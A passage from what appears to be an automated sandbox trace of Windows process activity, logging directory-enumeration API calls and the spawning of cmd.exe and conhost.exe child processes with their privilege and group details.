ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0285.694] HeapFree (hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940) [0285.694] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0285.694] FindNextFileW (in: hFindFile=0x543bd0, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0285.699] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0285.699] FindNextFileW (in: hFindFile=0x543bd0, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x5382e000" os_pid = "0x438" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xda4" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 85 os_tid = 0x440 [0285.266] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff752480000 [0285.266] __set_app_type (_Type=0x1) [0285.266] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff752496d00) returned 0x0 [0285.266] __getmainargs (in: _Argc=0x7ff7524b9200, _Argv=0x7ff7524b9208, _Env=0x7ff7524b9210, _DoWildCard=0, _StartInfo=0x7ff7524b921c | out: _Argc=0x7ff7524b9200, _Argv=0x7ff7524b9208, _Env=0x7ff7524b9210) returned 0 [0285.266] _onexit (_Func=0x7ff752497fd0) returned 0x7ff752497fd0 [0285.266] _onexit (_Func=0x7ff752497fe0) returned 0x7ff752497fe0 [0285.280] _onexit (_Func=0x7ff752497ff0) returned 0x7ff752497ff0 [0285.280] _onexit (_Func=0x7ff752498000) returned 0x7ff752498000 [0285.281] _onexit (_Func=0x7ff752498010) returned 0x7ff752498010 [0285.282] _onexit (_Func=0x7ff752498020) returned 0x7ff752498020 [0285.282] GetCurrentThreadId () returned 0x440 [0285.282] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x440) returned 0x70 [0285.283] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe207b0000 [0285.283] GetProcAddress (hModule=0x7ffe207b0000, lpProcName="SetThreadUILanguage") returned 0x7ffe207ca990 [0285.283] SetThreadUILanguage (LangId=0x0) Thread: id = 112 os_tid = 0xd98 Process: id = "14" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x573c0000" os_pid = "0x410" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x438" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0xc88 Thread: id = 87 os_tid = 0x424 Thread: id = 106 os_tid = 0xd68 Thread: id = 108 os_tid = 0x1f4 Thread: id = 109 os_tid = 0xd94 Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x515d1000" os_pid = "0x368" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x5fc" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0x38c Process: id = "16" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x4b50d000" os_pid = "0x36c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x368" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 94 os_tid = 0x60c Thread: id = 105 os_tid = 0x9c8 Thread: id = 107 os_tid = 0x1a4 Thread: id = 110 os_tid = 0x204 Thread: id = 111 os_tid = 0xd90